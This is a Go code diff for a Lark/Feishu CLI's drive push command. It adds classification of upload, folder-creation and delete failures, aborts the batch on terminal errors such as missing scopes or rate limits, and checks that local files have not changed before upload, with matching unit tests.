-	Error     string `json:"error,omitempty"`
+	RelPath    string `json:"rel_path"`
+	FileToken  string `json:"file_token,omitempty"`
+	Action     string `json:"action"`
+	Version    string `json:"version,omitempty"`
+	SizeBytes  int64  `json:"size_bytes,omitempty"`
+	Error      string `json:"error,omitempty"`
+	Phase      string `json:"phase,omitempty"`
+	ErrorClass string `json:"error_class,omitempty"`
+	Code       int    `json:"code,omitempty"`
+	Subtype    string `json:"subtype,omitempty"`
+	Retryable  *bool  `json:"retryable,omitempty"`
+}
+
+type driveBatchFailureDecision struct {
+	Class     string
+	Code      int
+	Subtype   string
+	Retryable bool
+	Terminal  bool
 }
 
 // DrivePush is a one-way, file-level mirror from a local directory onto a
@@ -248,9 +261,14 @@ var DrivePush = common.Shortcut{
 				continue
 			}
 			if _, ensureErr := drivePushEnsureFolder(ctx, runtime, folderToken, relDir, folderCache); ensureErr != nil {
-				items = append(items, drivePushItem{RelPath: relDir, Action: "failed", Error: ensureErr.Error()})
+				item, terminal := drivePushFailedItem(relDir, "", "failed", "create_folder", 0, ensureErr)
+				items = append(items, item)
 				failed++
 				uploadFailed = true
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, ensureErr)
+					break
+				}
 				continue
 			}
 			items = append(items, drivePushItem{RelPath: relDir, FileToken: folderCache[relDir], Action: "folder_created"})
@@ -266,6 +284,9 @@ var DrivePush = common.Shortcut{
 
 		for _, rel := range localPaths {
 			localFile := localFiles[rel]
+			if uploadFailed && drivePushHasTerminalFailure(items) {
+				break
+			}
 
 			if entry, ok := remoteFiles[rel]; ok {
 				if drivePushShouldSkipExisting(localFile, entry, ifExists) {
@@ -275,9 +296,14 @@ var DrivePush = common.Shortcut{
 				}
 				parentToken, parentErr := drivePushEnsureParentToken(ctx, runtime, folderToken, rel, folderCache)
 				if parentErr != nil {
-					items = append(items, drivePushItem{RelPath: rel, FileToken: entry.FileToken, Action: "failed", SizeBytes: localFile.Size, Error: parentErr.Error()})
+					item, terminal := drivePushFailedItem(rel, entry.FileToken, "failed", "create_folder", localFile.Size, parentErr)
+					items = append(items, item)
 					failed++
 					uploadFailed = true
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, parentErr)
+						break
+					}
 					continue
 				}
 				token, version, upErr := drivePushUploadFile(ctx, runtime, localFile, entry.FileToken, parentToken)
@@ -301,9 +327,14 @@ var DrivePush = common.Shortcut{
 					if failedToken == "" {
 						failedToken = entry.FileToken
 					}
-					items = append(items, drivePushItem{RelPath: rel, FileToken: failedToken, Action: "failed", SizeBytes: localFile.Size, Error: upErr.Error()})
+					item, terminal := drivePushFailedItem(rel, failedToken, "failed", "upload", localFile.Size, upErr)
+					items = append(items, item)
 					failed++
 					uploadFailed = true
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, upErr)
+						break
+					}
 					continue
 				}
 				items = append(items, drivePushItem{RelPath: rel, FileToken: token, Action: "overwritten", Version: version, SizeBytes: localFile.Size})
@@ -314,16 +345,26 @@ var DrivePush = common.Shortcut{
 			parentRel := drivePushParentRel(rel)
 			parentToken, ensureErr := drivePushEnsureFolder(ctx, runtime, folderToken, parentRel, folderCache)
 			if ensureErr != nil {
-				items = append(items, drivePushItem{RelPath: rel, Action: "failed", SizeBytes: localFile.Size, Error: ensureErr.Error()})
+				item, terminal := drivePushFailedItem(rel, "", "failed", "create_folder", localFile.Size, ensureErr)
+				items = append(items, item)
 				failed++
 				uploadFailed = true
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, ensureErr)
+					break
+				}
 				continue
 			}
 			token, _, upErr := drivePushUploadFile(ctx, runtime, localFile, "", parentToken)
 			if upErr != nil {
-				items = append(items, drivePushItem{RelPath: rel, Action: "failed", SizeBytes: localFile.Size, Error: upErr.Error()})
+				item, terminal := drivePushFailedItem(rel, "", "failed", "upload", localFile.Size, upErr)
+				items = append(items, item)
 				failed++
 				uploadFailed = true
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, upErr)
+					break
+				}
 				continue
 			}
 			items = append(items, drivePushItem{RelPath: rel, FileToken: token, Action: "uploaded", SizeBytes: localFile.Size})
@@ -350,7 +391,11 @@ var DrivePush = common.Shortcut{
 			}
 			sort.Strings(remoteRelPaths)
 
+			abortDelete := false
 			for _, rel := range remoteRelPaths {
+				if abortDelete {
+					break
+				}
 				keepToken := ""
 				if _, ok := localFiles[rel]; ok {
 					if chosen, ok := remoteFiles[rel]; ok {
@@ -362,8 +407,14 @@ var DrivePush = common.Shortcut{
 						continue
 					}
 					if err := drivePushDeleteFile(ctx, runtime, entry.FileToken); err != nil {
-						items = append(items, drivePushItem{RelPath: rel, FileToken: entry.FileToken, Action: "delete_failed", Error: err.Error()})
+						item, terminal := drivePushFailedItem(rel, entry.FileToken, "delete_failed", "delete", 0, err)
+						items = append(items, item)
 						failed++
+						if terminal {
+							fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, err)
+							abortDelete = true
+							break
+						}
 						continue
 					}
 					items = append(items, drivePushItem{RelPath: rel, FileToken: entry.FileToken, Action: "deleted_remote"})
@@ -378,6 +429,7 @@ var DrivePush = common.Shortcut{
 				"skipped":        skipped,
 				"failed":         failed,
 				"deleted_remote": deletedRemote,
+				"aborted":        drivePushHasTerminalFailure(items),
 			},
 			"items": items,
 		}
@@ -507,6 +559,91 @@ func drivePushShouldSkipSmart(localFile drivePushLocalFile, remoteFile driveRemo
 	return cmp >= 0
 }
 
+func drivePushFailedItem(relPath, fileToken, action, phase string, sizeBytes int64, err error) (drivePushItem, bool) {
+	decision := driveClassifyBatchFailure(err)
+	item := drivePushItem{
+		RelPath:    relPath,
+		FileToken:  fileToken,
+		Action:     action,
+		SizeBytes:  sizeBytes,
+		Error:      err.Error(),
+		Phase:      phase,
+		ErrorClass: decision.Class,
+		Code:       decision.Code,
+		Subtype:    decision.Subtype,
+		Retryable:  driveBoolPtr(decision.Retryable),
+	}
+	return item, decision.Terminal
+}
+
+func driveBoolPtr(v bool) *bool {
+	return &v
+}
+
+func driveClassifyBatchFailure(err error) driveBatchFailureDecision {
+	decision := driveBatchFailureDecision{Class: "unknown", Retryable: errs.IsRetryable(err)}
+	problem, ok := errs.ProblemOf(err)
+	if !ok {
+		return decision
+	}
+	decision.Code = problem.Code
+	decision.Subtype = string(problem.Subtype)
+	decision.Retryable = problem.Retryable
+
+	switch {
+	case problem.Category == errs.CategoryAuthorization && problem.Code == 99991672:
+		decision.Class = "app_scope_missing"
+		decision.Terminal = true
+	case problem.Category == errs.CategoryAuthorization && problem.Code == 99991679:
+		decision.Class = "user_scope_missing"
+		decision.Terminal = true
+	case problem.Category == errs.CategoryAuthorization && problem.Subtype == errs.SubtypePermissionDenied:
+		decision.Class = "permission_denied"
+		decision.Terminal = true
+	case problem.Category == errs.CategoryNetwork && problem.Code == http.StatusForbidden:
+		decision.Class = "permission_denied"
+		decision.Terminal = true
+	case problem.Subtype == errs.SubtypeInvalidParameters || problem.Code == 1061002:
+		decision.Class = "invalid_api_parameters"
+		decision.Terminal = true
+	case problem.Subtype == errs.SubtypeRateLimit || problem.Code == 99991400:
+		decision.Class = "rate_limited"
+		decision.Terminal = true
+	case problem.Subtype == errs.SubtypeQuotaExceeded || problem.Code == 1061043:
+		decision.Class = "file_size_limit"
+	case problem.Code == 1062009:
+		decision.Class = "upload_size_mismatch"
+	case problem.Subtype == errs.SubtypeNotFound || problem.Code == 1061007:
+		decision.Class = "remote_not_found"
+	case problem.Subtype == errs.SubtypeServerError || problem.Code == 1061001 || problem.Code == 2200:
+		decision.Class = "server_error"
+		decision.Terminal = true
+	case problem.Subtype == errs.SubtypeFailedPrecondition:
+		decision.Class = "local_file_changed"
+	default:
+		decision.Class = string(problem.Subtype)
+	}
+	return decision
+}
+
+func drivePushHasTerminalFailure(items []drivePushItem) bool {
+	for _, item := range items {
+		if driveTerminalBatchErrorClass(item.ErrorClass) {
+			return true
+		}
+	}
+	return false
+}
+
+func driveTerminalBatchErrorClass(errorClass string) bool {
+	switch errorClass {
+	case "app_scope_missing", "user_scope_missing", "permission_denied", "invalid_api_parameters", "rate_limited", "server_error":
+		return true
+	default:
+		return false
+	}
+}
+
 func drivePushRemoteViews(entries []driveRemoteEntry, duplicateRemote string) (map[string]driveRemoteEntry, map[string]driveRemoteEntry, map[string][]driveRemoteEntry, error) {
 	remoteFiles := make(map[string]driveRemoteEntry, len(entries))
 	remoteFolders := make(map[string]driveRemoteEntry, len(entries))
@@ -600,6 +737,12 @@ func drivePushEnsureParentToken(ctx context.Context, runtime *common.RuntimeCont
 // the three-step prepare/part/finish flow, which mirrors drive +upload's
 // existing multipart logic.
 func drivePushUploadFile(ctx context.Context, runtime *common.RuntimeContext, file drivePushLocalFile, existingToken, parentToken string) (string, string, error) {
+	if err := drivePushValidateUploadRequest(file, existingToken, parentToken); err != nil {
+		return "", "", err
+	}
+	if err := drivePushVerifyLocalSnapshot(runtime, file); err != nil {
+		return "", "", err
+	}
 	if file.Size > common.MaxDriveMediaUploadSinglePartSize {
 		token, err := drivePushUploadMultipart(ctx, runtime, file, existingToken, parentToken)
 		// Multipart finish does not return version on the existing
@@ -612,6 +755,44 @@ func drivePushUploadFile(ctx context.Context, runtime *common.RuntimeContext, fi
 	return drivePushUploadAll(ctx, runtime, file, existingToken, parentToken)
 }
 
+func drivePushValidateUploadRequest(file drivePushLocalFile, existingToken, parentToken string) error {
+	if strings.TrimSpace(file.FileName) == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot upload %q: file name is empty", file.RelPath)
+	}
+	if file.Size < 0 {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot upload %q: file size is negative", file.RelPath)
+	}
+	if strings.TrimSpace(parentToken) == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot upload %q: parent folder token is empty", file.RelPath)
+	}
+	if err := validate.ResourceName(parentToken, "parent_node"); err != nil {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot upload %q: %s", file.RelPath, err)
+	}
+	if existingToken != "" {
+		if err := validate.ResourceName(existingToken, "file_token"); err != nil {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot overwrite %q: %s", file.RelPath, err)
+		}
+	}
+	return nil
+}
+
+func drivePushVerifyLocalSnapshot(runtime *common.RuntimeContext, file drivePushLocalFile) error {
+	info, err := runtime.FileIO().Stat(file.OpenPath)
+	if err != nil {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "local file changed during push: %s is no longer readable: %v", file.RelPath, err).WithCause(err)
+	}
+	if !info.Mode().IsRegular() {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "local file changed during push: %s is no longer a regular file", file.RelPath)
+	}
+	if info.Size() != file.Size {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "local file changed during push: %s snapshot size no longer matches", file.RelPath)
+	}
+	if modTimer, ok := info.(interface{ ModTime() time.Time }); ok && !modTimer.ModTime().Equal(file.ModTime) {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "local file changed during push: %s snapshot modtime no longer matches", file.RelPath)
+	}
+	return nil
+}
+
 func drivePushUploadAll(_ context.Context, runtime *common.RuntimeContext, file drivePushLocalFile, existingToken, parentToken string) (string, string, error) {
 	f, err := runtime.FileIO().Open(file.OpenPath)
 	if err != nil {

shortcuts/drive/drive_push_test.go

@@ -5,8 +5,10 @@ package drive
 
 import (
 	"context"
+	"encoding/json"
 	"errors"
 	"io"
+	"net/http"
 	"os"
 	"path/filepath"
 	"strings"
@@ -14,12 +16,14 @@ import (
 	"testing"
 	"time"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/extension/fileio"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/httpmock"
 	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/shortcuts/common"
+	"github.com/spf13/cobra"
 )
 
 // countingOpenProvider wraps a fileio.Provider and counts FileIO.Open
@@ -652,6 +656,82 @@ func TestDrivePushDeleteRemoteSkipsOnlineDocs(t *testing.T) {
 	}
 }
 
+func TestDrivePushDeleteRemoteAbortsAfterTerminalFailure(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"files": []interface{}{
+					map[string]interface{}{"token": "tok_a", "name": "a.txt", "type": "file"},
+					map[string]interface{}{"token": "tok_b", "name": "b.txt", "type": "file"},
+				},
+				"has_more": false,
+			},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method: "DELETE",
+		URL:    "/open-apis/drive/v1/files/tok_a",
+		Body: map[string]interface{}{
+			"code": 1061004,
+			"msg":  "forbidden",
+		},
+	})
+	// No DELETE stub for tok_b: terminal delete failure must stop before it.
+
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--delete-remote",
+		"--yes",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) || pfErr.Code != output.ExitAPI {
+		t.Fatalf("expected ExitAPI *output.PartialFailureError, got %T %v", err, err)
+	}
+
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if got := summary["deleted_remote"]; got != float64(0) {
+		t.Fatalf("summary.deleted_remote = %v, want 0", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["action"] != "delete_failed" || item["phase"] != "delete" || item["error_class"] != "permission_denied" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item["code"] != float64(1061004) || item["retryable"] != false {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	for _, item := range items {
+		if item["file_token"] == "tok_b" {
+			t.Fatalf("terminal delete failure must abort before tok_b, got items=%#v", items)
+		}
+	}
+}
+
 func TestDrivePushNewestOverwritesChosenDuplicateAndDeletesSibling(t *testing.T) {
 	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
 
@@ -886,21 +966,22 @@ func TestDrivePushOverwriteWithoutVersionFails(t *testing.T) {
 		t.Errorf("expected ExitAPI (%d), got code=%d", output.ExitAPI, pfErr.Code)
 	}
 
-	out := stdout.String()
-	// summary.failed should reflect the missing version; summary.uploaded
-	// should not pretend the overwrite succeeded.
-	if !strings.Contains(out, `"failed": 1`) {
-		t.Errorf("expected failed=1, got: %s", out)
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Errorf("summary.failed = %v, want 1", got)
 	}
-	if !strings.Contains(out, "no version") {
-		t.Errorf("expected error about missing version in items[].error, got: %s", out)
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	if got, _ := items[0]["error"].(string); !strings.Contains(got, "no version") {
+		t.Errorf("items[0].error = %q, want missing-version message", got)
 	}
 	// Pin the token-stability contract: the failed item must surface the
 	// token returned by upload_all (tok_keep_new), NOT the fallback
 	// entry.FileToken (tok_keep). Without this, a regression that always
 	// uses entry.FileToken on failure would slip through.
-	if !strings.Contains(out, `"file_token": "tok_keep_new"`) {
-		t.Errorf("expected failed item to surface upload_all's returned file_token (tok_keep_new), got: %s", out)
+	if got := items[0]["file_token"]; got != "tok_keep_new" {
+		t.Errorf("items[0].file_token = %v, want tok_keep_new", got)
 	}
 }
 
@@ -962,24 +1043,313 @@ func TestDrivePushOverwritePartialSuccessSurfacesReturnedToken(t *testing.T) {
 		t.Fatalf("expected ExitAPI from *output.PartialFailureError, got %T %v", err, err)
 	}
 
-	out := stdout.String()
 	// Partial failure reports an ok:false result envelope on stdout (not a
 	// misleading ok:true) while still carrying BOTH the succeeded and failed
 	// items — consistent with the pre-change payload. The failed side is
 	// asserted via "failed": 1 and the succeeded side via tok_keep_partial.
-	if !strings.Contains(out, `"ok": false`) {
-		t.Errorf("partial failure must emit an ok:false result envelope, got: %s", out)
+	envelope := decodeDrivePushStdout(t, stdout.Bytes())
+	if envelope.OK {
+		t.Fatalf("partial failure must emit ok=false; stdout=%s", stdout.String())
 	}
-	if !strings.Contains(out, `"failed": 1`) {
-		t.Errorf("expected failed=1, got: %s", out)
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Errorf("summary.failed = %v, want 1", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
 	}
 	// The freshly returned token must be the one in items[].file_token,
 	// not the stale entry.FileToken (tok_keep_old).
-	if !strings.Contains(out, `"file_token": "tok_keep_partial"`) {
-		t.Errorf("expected items[].file_token to surface upload_all's returned token (tok_keep_partial), got: %s", out)
+	if got := items[0]["file_token"]; got != "tok_keep_partial" {
+		t.Errorf("items[0].file_token = %v, want tok_keep_partial", got)
 	}
-	if strings.Contains(out, `"file_token": "tok_keep_old"`) {
-		t.Errorf("must NOT fall back to entry.FileToken when upload_all returned a token; got: %s", out)
+	if got := items[0]["file_token"]; got == "tok_keep_old" {
+		t.Errorf("must NOT fall back to entry.FileToken when upload_all returned a token; item=%#v", items[0])
+	}
+}
+
+func TestDrivePushAbortsAfterUploadParamsError(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+	if err := os.WriteFile(filepath.Join("local", "a.txt"), []byte("A"), 0o644); err != nil {
+		t.Fatalf("WriteFile a: %v", err)
+	}
+	if err := os.WriteFile(filepath.Join("local", "b.txt"), []byte("B"), 0o644); err != nil {
+		t.Fatalf("WriteFile b: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{"files": []interface{}{}, "has_more": false},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method: "POST",
+		URL:    "/open-apis/drive/v1/files/upload_all",
+		Body: map[string]interface{}{
+			"code": 1061002,
+			"msg":  "params error.",
+		},
+	})
+
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) {
+		t.Fatalf("expected *output.PartialFailureError, got %T: %v", err, err)
+	}
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["rel_path"] != "a.txt" || item["phase"] != "upload" || item["error_class"] != "invalid_api_parameters" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item["code"] != float64(1061002) || item["subtype"] != "invalid_parameters" || item["retryable"] != false {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	for _, item := range items {
+		if item["rel_path"] == "b.txt" {
+			t.Fatalf("terminal upload params error must abort before b.txt, got items=%#v", items)
+		}
+	}
+}
+
+func TestDrivePushAbortsAfterCreateFolderMissingScope(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll(filepath.Join("local", "a"), 0o755); err != nil {
+		t.Fatalf("MkdirAll a: %v", err)
+	}
+	if err := os.MkdirAll(filepath.Join("local", "b"), 0o755); err != nil {
+		t.Fatalf("MkdirAll b: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{"files": []interface{}{}, "has_more": false},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method: "POST",
+		URL:    "/open-apis/drive/v1/files/create_folder",
+		Body: map[string]interface{}{
+			"code": 99991672,
+			"msg":  "Access denied. One of the following scopes is required: [drive:drive, space:folder:create].",
+		},
+	})
+
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) {
+		t.Fatalf("expected *output.PartialFailureError, got %T: %v", err, err)
+	}
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["rel_path"] != "a" || item["phase"] != "create_folder" || item["error_class"] != "app_scope_missing" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item["code"] != float64(99991672) || item["retryable"] != false {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	for _, item := range items {
+		if item["rel_path"] == "b" {
+			t.Fatalf("missing folder-create scope must abort before b, got items=%#v", items)
+		}
+	}
+}
+
+func TestDrivePushDetectsLocalFileChangedBeforeUpload(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+	localPath := filepath.Join("local", "changing.txt")
+	if err := os.WriteFile(localPath, []byte("before"), 0o644); err != nil {
+		t.Fatalf("WriteFile: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		OnMatch: func(req *http.Request) {
+			if err := os.WriteFile(localPath, []byte("after-change"), 0o644); err != nil {
+				t.Fatalf("mutate local file: %v", err)
+			}
+		},
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{"files": []interface{}{}, "has_more": false},
+		},
+	})
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) {
+		t.Fatalf("expected *output.PartialFailureError, got %T: %v", err, err)
+	}
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if got := summary["aborted"]; got != false {
+		t.Fatalf("summary.aborted = %v, want false", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["error_class"] != "local_file_changed" || item["subtype"] != "failed_precondition" || item["retryable"] != false {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	if got, _ := item["error"].(string); !strings.Contains(got, "local file changed during push") {
+		t.Fatalf("items[0].error = %q, want local-change message", got)
+	}
+	if strings.Contains(stdout.String(), "httpmock: no stub") {
+		t.Fatalf("upload_all was called after local snapshot changed:\n%s", stdout.String())
+	}
+
+	problemErr := drivePushVerifyLocalSnapshot(common.TestNewRuntimeContext(&cobra.Command{Use: "drive +push"}, &core.CliConfig{}), drivePushLocalFile{
+		RelPath:  "missing.txt",
+		OpenPath: filepath.Join("local", "missing.txt"),
+		FileName: "missing.txt",
+		Size:     1,
+		ModTime:  time.Now(),
+	})
+	problem, ok := errs.ProblemOf(problemErr)
+	if !ok {
+		t.Fatalf("ProblemOf(snapshot error) ok=false, err=%T %v", problemErr, problemErr)
+	}
+	if problem.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("snapshot error subtype = %q, want %q", problem.Subtype, errs.SubtypeFailedPrecondition)
+	}
+	if problem.Category != errs.CategoryValidation {
+		t.Fatalf("snapshot error category = %q, want %q", problem.Category, errs.CategoryValidation)
+	}
+	if errors.Unwrap(problemErr) == nil {
+		t.Fatalf("snapshot error cause was not preserved")
+	}
+}
+
+func TestDrivePushDetectsSameSizeLocalFileChangedBeforeUpload(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+	localPath := filepath.Join("local", "changing.txt")
+	if err := os.WriteFile(localPath, []byte("before"), 0o644); err != nil {
+		t.Fatalf("WriteFile: %v", err)
+	}
+	originalModTime := time.Unix(100, 0)
+	changedModTime := time.Unix(200, 0)
+	if err := os.Chtimes(localPath, originalModTime, originalModTime); err != nil {
+		t.Fatalf("Chtimes original: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		OnMatch: func(req *http.Request) {
+			if err := os.WriteFile(localPath, []byte("AFTER!"), 0o644); err != nil {
+				t.Fatalf("mutate local file: %v", err)
+			}
+			if err := os.Chtimes(localPath, changedModTime, changedModTime); err != nil {
+				t.Fatalf("Chtimes changed: %v", err)
+			}
+		},
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{"files": []interface{}{}, "has_more": false},
+		},
+	})
+
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) {
+		t.Fatalf("expected *output.PartialFailureError, got %T: %v", err, err)
+	}
+
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["rel_path"] != "changing.txt" || item["error_class"] != "local_file_changed" || item["subtype"] != "failed_precondition" {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	if got, _ := item["error"].(string); !strings.Contains(got, "snapshot modtime no longer matches") {
+		t.Fatalf("items[0].error = %q, want modtime mismatch", got)
+	}
+	if strings.Contains(stdout.String(), "httpmock: no stub") {
+		t.Fatalf("upload_all was called after local snapshot changed:\n%s", stdout.String())
 	}
 }
 
@@ -1113,6 +1483,32 @@ func TestDrivePushExitsZeroOnCleanRun(t *testing.T) {
 	}
 }
 
+type drivePushStdoutEnvelope struct {
+	OK   bool `json:"ok"`
+	Data struct {
+		Summary map[string]interface{}   `json:"summary"`
+		Items   []map[string]interface{} `json:"items"`
+	} `json:"data"`
+}
+
+func decodeDrivePushStdout(t *testing.T, stdout []byte) drivePushStdoutEnvelope {
+	t.Helper()
+	var envelope drivePushStdoutEnvelope
+	if err := json.Unmarshal(stdout, &envelope); err != nil {
+		t.Fatalf("unmarshal stdout: %v\nraw=%s", err, string(stdout))
+	}
+	return envelope
+}
+
+func splitDrivePushStdout(t *testing.T, stdout []byte) (map[string]interface{}, []map[string]interface{}) {
+	t.Helper()
+	envelope := decodeDrivePushStdout(t, stdout)
+	if envelope.Data.Summary == nil {
+		t.Fatalf("stdout missing data.summary; raw=%s", string(stdout))
+	}
+	return envelope.Data.Summary, envelope.Data.Items
+}
+
 // TestDrivePushUploadsSiblingWhenRemoteSameNameIsNativeDoc pins the
 // behavior when a local regular file shares its rel_path with a Lark
 // native cloud document on Drive (sheet/docx/bitable/...).

shortcuts/drive/drive_secure_label.go

@@ -6,6 +6,7 @@ package drive
 import (
 	"context"
 	"fmt"
+	"strings"
 
 	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/validate"
@@ -17,6 +18,13 @@ const (
 	secureLabelUpdateScope = "docs:secure_label:write_only"
 )
 
+type secureLabelOperation string
+
+const (
+	secureLabelOperationList   secureLabelOperation = "list"
